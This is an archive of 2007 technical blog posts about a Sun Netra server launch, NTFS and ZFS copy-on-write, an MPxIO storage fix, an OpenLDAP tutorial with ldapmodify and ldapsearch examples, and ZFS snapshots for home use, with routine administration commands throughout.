Last year, Sun completely refreshed its telco line with new processors and added ATCA support. That momentum continues today with the announcement of the Sun Netra X4200 M2 server. The new server makes it even easier for telco customers to maintain standardization without sacrificing performance.

The 2U, 20-inch Sun Netra X4200 M2 server is Sun's first NEBS Level 3-certified rack server powered by AMD Opteron processors. It delivers several key advantages:

* Broadest OS support on the market
* Highest storage and memory capacity in its class
* Support for Sun's new 10 GbE Networking Technology

The Sun Netra X4200 M2 server is designed to power solutions such as media servers, voice over IP (VoIP) solutions, signaling gateway controllers, element management systems, network traffic analysis systems, operation management systems, and data management systems.

"Adding the Netra X4200 M2 server to the Netra server family extends the choice of platforms for our customers and partners," says Baljeet Grewal, Sun product line manager. "Companies can now have a single vendor for their UltraSPARC, x64, Solaris, Linux, and Windows based carrier-grade servers."
The new Sun Netra X4200 M2 server makes it even easier for telco customers to maintain standardization without sacrificing performance.
Scalability and Investment Protection

The Sun Netra X4200 M2 server supports Solaris 10, Red Hat, and SUSE Linux, and Windows operating systems--the broadest platform support in the industry. The server also offers scalability and investment protection with:

* Up to four 146GB SAS drives with RAID 0 and 1 support
* Up to two dual-core AMD Opteron processors
* Upgradeability to future quad-core AMD Opteron processors

The two-socket Sun Netra X4200 M2 server is available now, starting at $9,845. The one-socket version will be available in May, starting at $6,145.
Ready for 10 GbE

Last month Sun debuted its 10 GbE Networking Technology with the introduction of the Sun Multithreaded Networking Card, the first of its kind from a major vendor. The Sun Netra X4200 M2 server ships ready to support the networking card. Sun intends to make its leading 10GbE Networking Technology available across the Netra portfolio in the near future.

Sun's new networking technology brings high-performance multithreading to the entire stack, from the operating system to the processor to the network wire. With 10Gb/s bandwidth across the stack, businesses can provide services to customers faster and more efficiently, lowering overall costs.
New Customer and ISV Adoption

Customers are already experiencing how the Sun Netra X4200 M2 server can add high performance and platform flexibility to their solutions.

"Siemens Networks has been validating the Sun Netra X4200 M2 server in our laboratories for several months now," says Joachim Ungruh, senior vice president, VoIP Solutions, Siemens Networks. "While we are still in the platform verification phase, it has exceeded our performance expectations. The Sun Netra X4200 M2 will significantly enhance the competitiveness of our consumer and business VoIP solution offerings, continuing to reinforce Siemens' strategy to leverage the technology advancements of market-leading computing platforms."

A number of ISVs are developing applications for the Sun Netra X4200 M2 Server including, Adax, AppGate Network Security, Surf, and Appium.

The recently announced Sun Neta Data-Plane Software (NDPS) Suite is also gaining support from leading ISVs including Teja Technologies, SDC Labs, and Surf. NDPS enables the telco customers to reach breakthrough performance for data-plane functions on Netra CoolThreads servers such as Netra T2000 Server and Netra CP3060 UltraSPARC T1 ATCA Blade.
Designed for Demanding Environments

The Sun Netra X4200 M2 server expands Sun's selection of carrier grade servers and blades--the broadest line in the industry. As with other Netra servers, the Sun Netra X4200 M2 server is ruggedized making it ideal for the most demanding applications in the toughest environments.

Transaction file system and COW

2007-04-02T09:45:00.000+08:00

NTFS is a transaction based file system. Is it a joke? No, NTFS is such a file system although it performed so badly. The use of activity logging and transaction management of file system changes allows the file system to maintain its internal integrity by preventing incomplete transactions from being implemented. One key to the operation of the transaction system is the process that is employed to check for and undo transactions that were not properly completed. This is sometimes called transaction recovery. Recovery is performed on NTFS volumes each time they are mounted on the system. Most commonly, this occurs when the system is booted or rebooted.

ZFS is also a file system based on transaction. Comparing with NTFS, ZFS only performs copy-on-write operations.This means that the blocks containing the in-use data on disk are never modified. The changed information is written to alternate blocks, and the block pointer to the in-use data is only moved once the write transactions are complete. This happens all the way up the file system block structure to the top block, called the uberblock.

As show in picture above, transactions select unused blocks to write modified data and only then change the location to which the preceding block points. If the machine were to suffer a power outage in the middle of a data write, no corruption occurs because the pointer to the "good" data is not moved until the entire write is complete. (Note: The pointer to the data is the only thing that is moved.) This eliminates the need for a journaling or logging file system and any need for a fsck or mirror resync when a machine reboots unexpectedly.

Mpxio and LSI storage

2007-03-29T23:21:00.000+08:00

Two Sun cluster boxes(Sun v440 and Sun Fire 490) running solaris 10 connect to LSI storage box using fibre channel switches. One LUN on the LSI box was created to supply the two server box storing 1.9TB data. When mpxio is disabed on both servers, only one server can recognize the LUN correctly while the other regards the LUN as unformatted disk. When trying to format or label the LUN using format utility, illegal ASC write errors ocurred.

When mpxio is enabled on both servers through the command:
#stmsboot -e

problem described above solved. Both server can access the LUN with no errors occuring. I don't know why. Anybody knows?

Stupid is as stupid does

2007-03-22T09:06:00.000+08:00

China's Net Nanny is having some kind of emotional issue: in the last few weeks, Livejournal, Xanga, and Blogspot have all been blocked.

Blocked, unblocked, blocked again... ...

What does the old Nanny want to protect?

LDAP and OpenLDAP (Part III)

2007-03-20T01:03:00.001+08:00

In previous sections, we have know there are three models of LDAP architecture besides information model. This section will discuss these three models: the naming model, function model and security model.

Naming Model
Information model provides the basic elements to construct the directory. The naming model describe how these elements fit together to build up directory.

We have known the DIT -- Directory Information Tree, which is perhaps the most important concept of the naming model. The examples in Part I have shown us how the directory is created as a tree with the root entry having the information of company abc.com.

LDAP provides a great deal of flexibility in the tree design, but that does not mean that everything is possible. The directory always has to be a treelike structure, i.e., every entry above the directory root has to have one ancestor. You can not insert en entry that has no parent.

The concept of the distinguished name is the heart of the naming model. Each entry has an attribute called "distinguished name" (DN). This attribute is used to identify the entry unambiguously. From this, it is clear that the DN must be unique throughout the whole directory. The construction of the DN is used to construct the namespace and the directory information tree.

The distinguished name is a comma-separated list of subunits called "relative distinguished names." You obtain the distinguished name in postfixing the relative distinguished name (RDN) with the distinguished name of its ancestor.

Like the DN, the RDN has to be unique. However, the RDN has to be unique only in its scope. For example, if the parent is:
DN: ou=sales, l=Europe, o=abc.com

under this subtree there can be only one RDN:
uid=usr1

resulting in the DN:
DN: uid=usr1, ou=sales, l=Europe, o=abc.com

This means that you can have an entry with an RDN of uid = usr1 under l = Asia, as shown in Exhibit 18, resulting in the unique DN:
DN: uid=usr1, ou=sales, l=Asia, o=abc.com

As directories continue to increase in size, there may come a point where it is no longer useful to hold the whole directory tree on one server. For performance reasons, we might decide to put one part of the directory tree on another directory server. However, performance is not the only reason for placing one or more parts of the directory on other servers. Administrative considerations — allowing different policies for different parts of the directory tree — might also come into play. We can solve these problems using referrals besides partition which will be explained later.

Assume that our directory server does not hold the entire directory tree and that part of the tree is located on another server. For example, imagine that the directory tree holding the information of company abc.com for location of North America has been moved to a separate server. At this point, a client searching an entry in the sales department located at San Francisco would not find anything, receiving instead an error message indicating that the required entry had not been found on the server. This is not what we wanted to achieve. We need an entry that points to the exact location where the entry can now be found. This special entry is called a "referral."

The referral is a special entry of the object class "referral." Like the alias, the referral has a distinguished name to locate it in the directory. The referral has one required attribute: the "ref" attribute. The ref attribute is an LDAP URL pointing to the location where the real entry can be found.

Function model
The functional model describes the operations that can be performed on the directory.

At this point, it is useful to remember that LDAP is a protocol that mediates the messages sent between client and server. The client sends a message to the server requesting a certain action against the directory. The server then executes this action on behalf the client, sending a message back to the client containing the result code and the eventual results sets.

There are three groups of functions, plus one special group of the "extended operations." This group is new in version 3 of LDAP and has been defined in RFC 2251. The "extended operations" allow adding further functionality published in the form of RFCs or in private implementations. For example, the "StartTLS" (Transport Layer Security protocol) operation, not foreseen in RFC 2251, is an operation defined with an extended operation.

The three groups of functions are:
1. Interrogation operations: search, compare
2. Update operations: add, delete, modify DN, modify
3. Authentication and control operations : bind, unbind, abandon

All of these operations are requests made by an LDAP client to an LDAP server. The server executes the requested operation and sends back to the client the result plus an error code.

The most complicated operation is the search operation. It can have up to eight parameters: base, scope, derefAliases, sizeLimit, timeLimit, attrOnly, searchFilter, and attributeList:
1. Base: DN where the query should start
2. Scope: Extension of the query inside the directory information tree. The scope can have three different values:
a. baseObject: Limits the search to the base object only.
b. singleLevel: Limits the search to the base objects and the immediate children.
c. wholeSubtree: Extends the search to the entire subtree from the base object.
3. derefAliases: Indicates how alias dereferencing should be handled.
4. sizeLimit: Maximum number of entries a query will return. A number of "zero" means that there is no size limit.
5. timeLimit: Maximum number of seconds a query can take. A number of "zero" means that the client does not impose any time limit.
6. attrOnly: A Boolean value. Set to "true," it indicates that only attribute types are returned; set to "false," it returns attribute types and attribute values.
7. searchFilter: Defines the conditions under which a search return is successful. The conditions can be combined with the Boolean "and," "or," and "not" operators.
8. attributeList: Attributes that should be returned if the searchFilter matches. Two values have a special meaning: an empty list with no attributes and an asterisk, "*". Both values instruct the server to return all attributes of the matching entries. The asterisk allows you to specify further operational attributes to be returned.

The "compare" operation tests for the presence of a particular attribute in an entry with a given distinguished name. It returns "true" if the entry contains the attribute and "false" if the entry does not contain the attribute. Now look at the parameters for the "compare" operations:
1. entry: Distinguished name of the entry you are searching for
2. ava: Attribute name-value pair you want to verify is contained in the entry ("ava" means "attribute value assertion")

The "add" operation is a relative easy one, as it contains only two parameters: entry and attributeList
1. entry: Distinguished name of the new entry
2. attributeList: A list of name-value pairs of the attributes contained in the entry
Update Operations: Delete

The "delete" operation is still easier than the "add" operation inasmuch as it takes one parameter only, the distinguished name of the entry to be deleted.
entry: Distinguished name of the entry to be deleted

The "modify" operation is more complicated than the previous two. It takes three parameters: distinguished name, type of operation, and name-value pairs:
1. entry: Distinguished name of the entry to be modified
2. operation: Type of operation to be executed on this entry, with three possible values:
add: Adds a new attribute (name,value pair)
delete: Deletes an attribute
modify: Modifies an attribute
3. attributeList: Produces a list of name-value pairs to be added/modified

The main purpose of the "bind" operation is to let the client authenticate itself against the directory server. The "bind" operation takes three parameters, version, name, and authentication:
1. version: Version of LDAP the client wishes to use
2. name: Name of the directory object the client wishes to bind to
3. authentication: Authentication choice, which has two possible values:
simple: Indicates that the password travels in clear text over the wire.
sasl: Uses the SASL mechanism as described in RFC 2222, "Simple Authentication and Security Layer".

The operation "unbind" is very simple and does not take any parameters. The "unbind" operation does not return any value from the server. The client assumes that the connection to the server is now closed. The server releases any resources allocated for the client, discards any authentication information, and closes the TCP/IP connection with the client.

Another simple operation, "abandon" takes only one parameter. The "abandon" operation is used to inform the server to stop a previously requested operation. The abandon operation typically is used by GUIs in the case of long-running operations on the server to inform the server that the client is no longer interested in the result of the operation. The operation takes only one parameter: the operationID.
operationID: ID of the operation to be abandoned

Security model
Security model shows how to secure the data in the directory. There are two major arguments in place: authentication and authorization, also called "access control" in LDAP.

Before a client can access data on an LDAP server, two processes must take place first: authorization and authentication. These two processes are quite different from each other.

Authentication takes place when the client identifies itself for the server as it tries to connect. The process depends very much on the authentication mechanism used. The easiest way is to connect to the server without the need to provide an identity. To such an anonymous connection, if allowed at all, the server grants the lowest access rights. There are authentication schemes ranging from simple authentication with user and password to authentication using certificates. These certificates give the assurance to the server that the client really is who it says it is. Certificates can also assure the client about the server's identity.

Once the client has been recognized by the server, the client will have certain access rights to the data. Authorization is the process by which the server grants the correct access rights to the previously authenticated client. This means that the user can read and write data with restrictions that depend on the level of access granted. To define what each client can do, the server must maintain an access control information (ACI) file.

The first type of authentication is "no authentication at all," also called "anonymous bind" because the server has no idea of who actually is asking for a connection. Anonymous bind is used to access publicly available data.

After anonymous access, the simplest authentication is the basic authentication, which is also used in other protocols like HTTP. The client simply sends the user credentials across the wire. In the case of LDAP, this means the user's distinguished name and the userPassword. Both of them are sent over the network in plain view without encryption. This method may be okay in a trusted environment, but even in an intranet environment, sending around unencrypted passwords is not a good idea.

The goal of the TLS protocol is to provide both data integrity and privacy. This means that the TLS protocol guarantees that data sent between two partners arrives unmodified and that the conversation is encrypted, i.e., that a person sitting between client and server can not intercept the conversation. TLS requires a reliable protocol and is based upon TCP. TLS itself comprises two different protocols, the TLS Record protocol and the TLS Handshake protocol. The function of the TLS Record Protocol is only the encapsulation of the higher protocol, the TLS Handshake protocol. The TLS Handshake protocol instead provides the security mechanisms. It allows server and client to authenticate each other and negotiate encryption protocol and cryptographic keys. The TLS Handshake protocol supports the public key mechanism.

LDAP (v2) supports a bind mechanism based on Kerberos, but it is not directly supported in LDAP (v3). By "not directly supported," we mean that it can be used as a security mechanism upon an agreement established using the SASL protocol.

The simple authentication and security layer (SASL) is a method of providing authentication services to a connection-oriented protocol such as LADP. The SASL standard is defined in RFC 2222, "Simple Authentication and Security Layer." This standard makes it possible for a client and server to agree upon a security layer for encryption. Once the server and client are connected, they agree upon a security mechanism for the ongoing conversation. One of these mechanisms is Kerberos. At the time of this writing, a number of mechanisms are supported by SASL, including: anonymous, CRAM-MD5, Digest-MD5, External, Kerberos, SecurID, Secure Remote Password, S/Key, X.509.

LDAP and OpenLDAP (Part II)

2007-03-19T17:46:00.000+08:00

If you just only want to know how to use a directory server, you may not to know the models of LDAP. But there do exist four models of LDAP. They're information model, name model, function model and security model, and they help us to learn what makes a LDAP server and how LDAP works.

Information model
The basic unit of information is the entry. We have seen that the object class defines how an entry should look. Entries are made up of attributes, and just as entries are defined by object classes, so attributes are defined by the "attribute types". Everything is held together by the schema of the directory.

The excerpt of the directory can be broken down into small data structures which are called "entry" or "object". "Organization" and "organization unit" etc. are all objects.

Note the example listed in last article that each entry have several lines, each line corresponding to one attribute. In other words, entry is a collection of attributes, with each attribute having one or more values.

LDAP has rules to specify how information is to be saved. The collection of these rules is called schema which are kept in the configuration files. In version 3 of LDAP, client can explore the schema that the server is using. The schema in LDAP software are likely but having some important difference comparing with those in RDBMS:

1. LDAP software are shipped with a number of schemas. The user selects schema and begins filling in data. While in RDBMS, the first user has to define the schema.

2. The LDAP schema is simpler and does not know anything about complicate structure such as "join", nor are there any triggers.

The schema contains:
1. object-class definitions describing the different types of entries in the directory.
2. Attribute-type definitions describing the different attributes of the objects.
3. Syntax definitions to describe how the attribute values are to be compared during queries

If you write an application using a object-oriented language such as C++ or Java, the first thing you do is define classes. Then you can define objects to implement the previously defined classes. The same will happen in using LDAP. Every directory is configured to recognize a number of classes called "object class". The objects in the directory are implementations of these classes. Following is the example of object class definition stored in schema files:

Objectclass top:
(2.5.6.0
NAME 'top'
ABSTRACT
MUST (
objectClass
)
)

Objectclass organization:
(2.5.6.4
NAME 'organization'
SUP top
STRUCTURAL
MUST (
o
MAY (
userPassword
searchGuide
seeAlso
businessCategory
x121Address
registeredAddress
destinationIndicator
preferredDeliveryMethod
telexNumber
teletexTerminalIdentifier
telephoneNumber
internationaliSDNNumber
facsimileTelephoneNumber
street
postOfficeBox
postalCode
postalAddress
physicalDeliveryOfficeName
st
1
description
)
)
)

In this example class top and organization are defined. Class organization are inherited from class top using "SUP top". The inheritance is similar to that in object-oriented languages.

The "MUST" section in this definition contains those attribute which must have some value while defining objects. The value of he attributes in "MAY" section is optional while defining objects. What type of value of these attribute should have is defined in BNF(Backus Naur form), i.e., the attribute such as "userPassword" or "searchGuide" is predefined in the schema file and the valid value type of them is also defined. For example the attribute "c"(stand for country) is predefined in core.schema file as:

attributetype ( 2.5.4.6 NAME ( 'c' 'countryName' )
DESC 'RFC2256: ISO-3166 country 2-letter code'
SUP name SINGLE-VALUE )

The object class "top" is one of the most simplest object class. And all other classes derived from the class "top". The only purpose for class "top" is to ensure that every object contains the "objectClass" attribute, since it is the only required attribute in the class "top". It exists only to be inherited, as indicated as "ABSTRACT". An object is not intended to be instantiated is called "abstract object class". That means you'll never find an entry for class "top" in the directory.

objectclass ( 2.5.6.6 NAME 'person'
DESC 'RFC2256: a person'
SUP top STRUCTURAL
MUST ( sn $ cn )
MAY ( userPassword $ telephoneNumber $ seeAlso $ description ) )

Example listed above is the definition of class "person". 2.5.6.6 is the object id(oid) of the class. It inherit attribute "objectClass" from class "top". Object for this class should have the values of attibute "sn" and "cn". Other attribute of the object for class "person" is optional.

As mentioned previously, there are three types of object classes:
1. Abstract
2. Structure
3. Auxiliary

Abstract class is the class of class. Structure class can be implemented as object to be stored in directory.

We could just be happy with these two object types, so what is the third one for? This is for situations when you need a new object class extending from an existing one. Unfortunately, new data such as this does not fit very well in the object structure. To get around this problem, you can define all the data the new object needs to hold together in an auxiliary class. An object of type "auxiliary" can be attached anywhere in the directory information tree.

The concept of OID is another important concept imported into LDAP from the X.500 standard. Object identifiers (OIDs) are not only used for object classes, but also for attribute types. The OID standard is not limited only to object classes and attribute types. It can be used to identify uniquely any type of object.

An OID is syntactically a string of numbers divided by dots, such as the OID 2.5.6.6 for the object class "person" (see Exhibit 6) or 2.16.840.1.113730.3.2.2 for the object class "inetOrgPerson". The namespace of all OIDs implements an OID tree. A subtree in the OID tree is called an "arc". This concept greatly simplifies the administration of the OID tree.

You can get your own OID subtree from IANA (Internet Assigned Numbers Authority). Their Web site (http://www.iana.org) provides further information. The particular syntax makes it possible to understand where a certain object comes from. All you have to do is trace the route from the object to the root of the tree to understand the object's origin. For example, all attributes and objects defined by the IETF begin with 2.5.4, e.g., 2.5.4.0 for the attribute "object-Class."

You will need an OID subtree whenever you need to extend the directory schema. You can, of course, invent your own OIDs. However, you will run into trouble if you have to exchange information with systems that have reserved this OID for another purpose. So if you extend your schema, it is wise to ask for an OID and to construct your own hierarchy based on this OID. Remember to keep a list for what OID is used for which object to avoid name collisions.

In case of queries, you need to make comparisons in order to find from all entries the one you are interested in. Comparisons are not only necessary in query operations, but also in "delete," "update," and "add" operations.

You should also tell your directory server how to make comparisons between atribute values. You do this in the form of so-called "matching rules."

As an example, look at the telephone number attribute mentioned above. The two versions of the same telephone number should be considered equal by the server and therefore the matching rule should specify the following:
1. ignore extra white spaces
2. ignore hyphens ("-")
3. ignore opening and closing parenthesis

The matching rules are defined by standard and everyone has a name and an OID. The rule describing the matching of telephone nubmers for example is called "telephoneNumberMatch" and has the OID 2.5.13.20

LDAP and OpenLDAP (Part I)

2007-03-18T22:38:00.000+08:00

LDAP is a nothing more than a communication protocol between client which request to get some information and the server which store or know the place to store the information, so LDAP is only a communication rule but not a product you can buy.

OpenLDAP is an open product implemented according to LDAP.

Experience has shown that the best way to understand a new tool is simply to use or play around with it. That is what we will do in this article.

Before you can enter any objects into a directory, you must first define what kind of objects the directory will accept. This is much like the design of an object-oriented database. For example, if we want to describe an company abc.com as an object, we consider the abc.com is an instance of object class "organization".

Object class is some structure that is already standardized defined in OpenLDAP schemas, and most of them is derived from the original X.500 protocol. Schema is just like the header files of C language, which show the data structure used in C libraries. So we don't have to invent these object class all by ourselves just like we don't have to invent the printf functions when we program using C language.

When a company can be described as an object, the department of a large company also can be described as an object of object class "organization unit", and person in this company as object class "person".

Directory is made up of a number of entries, each entry is corresponding to an object in the real world. The object always belongs to an object class which is characterized by a number of "attributes". For example, a company has a name, phone number, and so on. The attributes are made up of an attribute name and one or more attribute values. The attribute names, like the class names, are standard, most of them being inherited from X.500 protocol.

An object(entry) must have "distinguished name" to identify itself, so the "dn" must be unique. How to give distinguished name to object will be explained in detail in following sections.

The directory is build up like a tree, and the tree is always called as DIT(Directory Information Tree). We will take the company abc.com as an example. When we began to store the information of abc.com, we consider the abc.com as a tree with the root entry which have the attribute "o"(stand for organization) and the attribute value "abc.com". So the root entry have the distinguished name o=abc.com.

The departments of abc.com is subtree of the DIT of the entire enterprise, and which have the attribute ou(stand for organization unit) and the value of department name. For example the marketing department have the distinguished name "ou=marketing, o=abc.com". Likewise we give the distinguish name to the IT department as "ou=IT, o=abc.com".

After the dn given the object may be add to the DIT using client tools which released with the OpenLdap software distribution like:
#ldapmodify -a -D "uid=admin, o=abc.com" -w password
dn: o=abc.com
object class: top
object class: organization
o: abc.com
l: ShangHai

adding new entry "o=abc.com"

The parameter following -D is the administrator account name of the ldap server running on the machine, and the -w speak out the password of this administrator account. Both the account and the password are stored in the configuration file which can be modified using vi before starting the server.

The first line of the actual data begins with:
dn: o=abc.com
which is the distinguished name of this entry. The distinguished name is just a key to access this particular entry. It must be unique across the whole directory.

The following lines:
object class: top
object class: organization

Means the o=abc.com is an object of the object class "organization", and "organization" is a subclass of "top". Both "organization" and "top" are declared in the configuration files.

o: abc.com
l: ShangHai
The object o=abc.com has two other properties(attributes): "o"(organization) and "l"(location), both of them defined in the schema. Reading the configuration files, we'll note some properties are required, and others are optional.

the last line:
adding new entry "o=abc.com"
is the output of the command which means that the command has been executed successfully. Otherwise, you will get an error message.

After the root entry(o=abc.com) was added, the department can be added as subtrees. For example:
# ldapmodify -a -D "cn=admin, o=abc.com" -w password
dn: ou=HR, o=abc.com
objectclass: top
objectclass: organizationalUnit
ou: HR
description: Human Resources

adding new entry "ou=HR, o=abc.com"

dn: ou=R&D, o=abc.com
objectclass: top
objectclass: organizationalUnit
ou: R&D
description: Research and Development

adding new entry "ou=R&D, o=abc.com"

dn: ou=Mkt, o=abc.com
objectclass: top
objectclass: organizationalUnit
ou: Mkt
description: Marketing

adding new entry "ou=Mkt, o=abc.com"

After all these entries added to the DIT, we can retrieve the information from the ldap sever using command ldapsearch:

#ldapsearch -b "o=abc.com" "(objectclass=*)"
# extended LDIF
#
# LDAPv3
# filter: (objectclass=*)
# requesting: ALL
#
# abc.com

dn: o=abc.com
objectclass: top
objectclass: organization
o: abc.com
l: ShangHai

# HR, abc.com
dn: ou=HR, o=abc.com
objectclass: top
objectclass: organizationalUnit
ou: HR
description: Human Resources

# R&D, abc.com
dn: ou=R&D, o=abc.com
objectclass: top
objectclass: organizationalUnit
ou: R&D
description: Research and Development

# Mkt, abc.com
dn: ou=Mkt, o=abc.com
objectclass: top
objectclass: organizationalUnit
ou: Mkt
description: Marketing

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 4

When the DIT is created, root entry and subtrees entries are added into it. We'll find that if we want put personal information of hundreds of employees in abc.com is a difficult thing, for we must input these message entry by entry without mistake. Fortunately, the ldapmodify command also accepts a file as input:
#cat persons.ldif
dn: uid=ZhaoJia, ou=Mkt, o=abc.com
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
cn: Zhao
sn: Jia
givenName: Thomas
ou: Mkt
uid: ZhaoJia
mail: zhaojia@abc.com

dn: uid=QianYi, ou=Mkt, o=abc.com
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
cn: Qian
sn: Yi
givenName: Peter
ou: Mkt
uid: QianYi
mail: QianYi@abc.com

#ldapmodify -a -D "uid=admin, o=abc.com" -w "password" -f persons.ldif
adding new entry "uid=ZhaoJia, ou=Mkt, o=abc.com"
adding new entry "uid=QianYi, ou=Mkt, o=abc.com"

COW and ZFS relate features

2007-03-17T16:15:00.000+08:00

Copy-on-write (sometimes referred to as "COW") is an optimization strategy used in computer programming. The fundamental idea is that if multiple callers ask for resources which are initially indistinguishable, you can give them pointers to the same resource. This fiction can be maintained until a caller tries to modify its "copy" of the resource, at which point a true private copy is created to prevent the changes becoming visible to everyone else. All of this happens transparently to the callers. The primary advantage is that if a caller never makes any modifications, no private copy need ever be created.

Copy-on-write finds its main use in virtual memory operating systems; when a process creates a copy of itself, the pages in memory that might be modified by either the process or its copy are marked copy-on-write. When one process modifies the memory, the operating system's kernel intercepts the operation and copies the memory so that changes in one process's memory are not visible to the other.

Another use is in the calloc function. This can be implemented by having a page of physical memory filled with zeroes. When the memory is allocated, the pages returned all refer to the page of zeroes and are all marked as copy-on-write. This way, the amount of physical memory allocated for the process does not increase until data is written. This is typically only done for larger allocations.

Copy-on-write can be implemented by telling the MMU that certain pages in the process's address space are read-only. When data is written to these pages, the MMU raises an exception which is handled by the kernel, which allocates new space in physical memory and makes the page being written to correspond to that new location in physical memory.

One major advantage of COW is the ability to use memory sparsely. Because the usage of physical memory only increases as data is stored in it, very efficient hash tables can be implemented which only use little more physical memory than is necessary to store the objects they contain. However, such programs run the risk of running out of virtual address space -- virtual pages unused by the hash table cannot be used by other parts of the program. The main problem with COW at the kernel level is the complexity it adds, but the concerns are similar to those raised by more basic virtual memory concerns such as swapping pages to disk; when the kernel writes to pages, it must copy them if they are marked copy-on-write.

COW is also used outside the kernel, in library, application and system code. The string class provided by [[C++]]'s Standard Template Library, for example, was specifically designed to allow copy-on-write implementations. One hazard of COW in these contexts arises in multithreaded code, where the additional locking required for objects in different threads to safely share the same representation can easily outweigh the benefits of the approach.

The COW concept is also used in virtualization/emulation software such as Bochs, QEMU, and UML for virtual disk storage. This allows a great reduction in required disk space when multiple VMs can be based on the same hard disk image, as well as increased performance as disk reads can be cached in RAM and subsequent reads served to other VMs out of the cache.

ZFS uses a copy-on-write, transactional object model. All block pointers within the filesystem contain a 256-bit checksum of the target block which is verified when the block is read. Blocks containing active data are never overwritten in place; instead, a new block is allocated, modified data is written to it, and then any metadata blocks referencing it are similarly read, reallocated, and written. To reduce the overhead of this process, multiple updates are grouped into transaction groups, and an intent log is used when synchronous write semantics are required.

The ZFS copy-on-write model has another powerful advantage: when ZFS writes new data, instead of releasing the blocks containing the old data, it can instead retain them, creating a snapshot version of the file system. ZFS snapshots are created very quickly, since all the data comprising the snapshot is already stored; they are also space efficient, since any unchanged data is shared among the file system and its snapshots.

Writable snapshots ("clones") can also be created, resulting in two independent file systems that share a set of blocks. As changes are made to any of the clone file systems, new data blocks are created to reflect those changes, but any unchanged blocks continue to be shared, no matter how many clones exist.

Why ZFS for home

2007-03-12T15:14:00.000+08:00

--from uadmin.blogspot.com

I’m getting annoyed at people that keep saying ZFS is okay for servers but I don’t need it for home. ZFS scales from one drive to an infinite number of drives and has benefits for all of them.

Let’s take a look at the average home computer a single drive holding a mix of files, up to 300GB drives are common. That is a lot of data to lose and its getting easier lose data these days. Further more new hard drives aren’t getting any more reliable with time. Of course you can lose things on new hard drives by just misplacing them in one of the 1000’s of directories you can use in an attempt to organize your files.

What do other operating systems and file systems provide to fight this situation? In Linux you can use raid, redundant array of inexpensive drives, then if a hard drive fails your data is safe. Okay the fun part begins when you try to enable raid, the obvious choices are raid 1 (mirroring your data) or raid 5 (that uses part of your drives as parity protecting your data uses less space but requires a minimum of 3 drives to work). I won’t bore you with the technical details I will just show a small sample of the commands to create a raid 1, a mirror image of one drive onto a second drive.

These instructions were taken for http://unthought.net/Software-RAID.HOWTO/Software-RAID.HOWTO-5.html#ss5.6

You have two devices of approximately same size, and you want the two to be mirrors of each other. Eventually you have more devices, which you want to keep as stand-by spare-disks, that will automatically become a part of the mirror if one of the active devices break.

Set up the /etc/raidtab file like this:

raiddev /dev/md0
raid-level 1
nr-raid-disks 2
nr-spare-disks 0
persistent-superblock 1
device /dev/sdb6
raid-disk 0
device /dev/sdc5
raid-disk 1

If you have spare disks, you can add them to the end of the device specification like

device /dev/sdd5
spare-disk 0

Remember to set the nr-spare-disks entry correspondingly.

Ok, now we're all set to start initializing the RAID. The mirror must be constructed, eg. the contents (however unimportant now, since the device is still not formatted) of the two devices must be synchronized.

Issue the

mkraid /dev/md0

command to begin the mirror initialization.

Check out the /proc/mdstat file. It should tell you that the /dev/md0 device has been started, that the mirror is being reconstructed, and an ETA of the completion of the reconstruction.

Reconstruction is done using idle I/O bandwidth. So, your system should still be fairly responsive, although your disk LEDs should be glowing nicely.

The reconstruction process is transparent, so you can actually use the device even though the mirror is currently under reconstruction.

Try formatting the device, while the reconstruction is running. It will work. Also you can mount it and use it while reconstruction is running. Of Course, if the wrong disk breaks while the reconstruction is running, you're out of luck.

Looks like fun right? Before ZFS the situation wasn't much better in Solaris. A typical home user will see this and say I will do this next week. Then next week never comes. Of course doing raid5 only gets more complex in Linux at least, for ZFS its just a slight change to the commands used to create a mirror. In ZFS we execute two or three commands and we are done.

# zpool create data mirror c0t0d0 c0t1d0
# zfs create data/filesystem

Done. The only complex part is getting the last two entries and you can find those by running the Solaris format command. The red is added to help readability

#format < /dev/null Searching for disks...done

AVAILABLE DISK SELECTIONS:
0. c0t0d0
/sbus@1f,0/SUNW,fas@e,8800000/sd@0,0
1. c1t2d0
/sbus@1f,0/SUNW,fas@1,8800000/sd@2,0
#

That takes care of drive failure; another problem is accidental deletion, accidentally installing a broken application or any change you would like to undo. Linux’s answer to this is backups, either on optical media, tape or perhaps another harddrive. This is expensive or time consuming, choose one. So the typical home user will most likely put this off to till another day and won’t have a backup for there data.

ZFS has snapshots, they are easy and painless and have a very low cost in resources to create. Snapshots are basically a picture of your data; these are taken in real time and are nearly instant in ZFS, to get these in any other OS you need to buy expensive raid hardware or an expensive software package something that no home user will want to buy.

For example I want to protect my mp3 collection so I put it on file system all its own.

# du -sh /mp3
17G /mp3
#

And then I took a snapshot of it for protection.

# time zfs snapshot data/mp3@may-1-2006
real 0m0.317s
user 0m0.017s
sys 0m0.030s
#

Not bad, 1/3 of a second to protect 17 Gigabyte of data. That can easily be restored should I make a mistake and delete or corrupt a file or all of them.

And here is a little script I created to take snapshots of all my zfs file systems and puts a date stamp on each one. Each snapshot takes very little space, so you can make as many as you need to be safe.

#!/bin/sh
date=`date +%b-%d-%Y`

for i in `/usr/sbin/zfs list -H -t filesystem -o name` ;
do /usr/sbin/zfs snapshot $i@$date ;
done

A few minutes in crontab or your desktop graphical crontab creator and you can have this script execute daily with no user intervention. Below is a sample line to add to your crontab that that takes snapshots at 3:15 am

15 3 * * * /export/home/username/bin/snapshot_all

To see your snapshots, is easy you just look in .zfs/snapshot that is in each zfs filesystem. You can even see individual files that make up a snapshot by changing directories further into the snapshot. This even works if the file system is shared via NFS.

Now let’s take a look at how to recover from mistakes using snapshots. First lets create filesystem, and populate it with a few files.

#zfs create data/test1
#cd /data/test1
#mkfile 100m file1 file2 file3 file4 file5
#ls
file1 file2 file3 file4 file5
#

We now have 5 files, each 100 megabytes, lets take a snapshot, and then delete a couple files.

# zfs snapshot data/test1@backup
# rm file2 file3
# ls
file1 file4 file5

The files are gone. Oops a day later or a month later I realize I need those files.

# cd ..
#zfs rollback data/test1@backup

So all we do is rollback the using a saved snapshot and the files are back.

# ls
file1 file2 file3 file4 file5
#

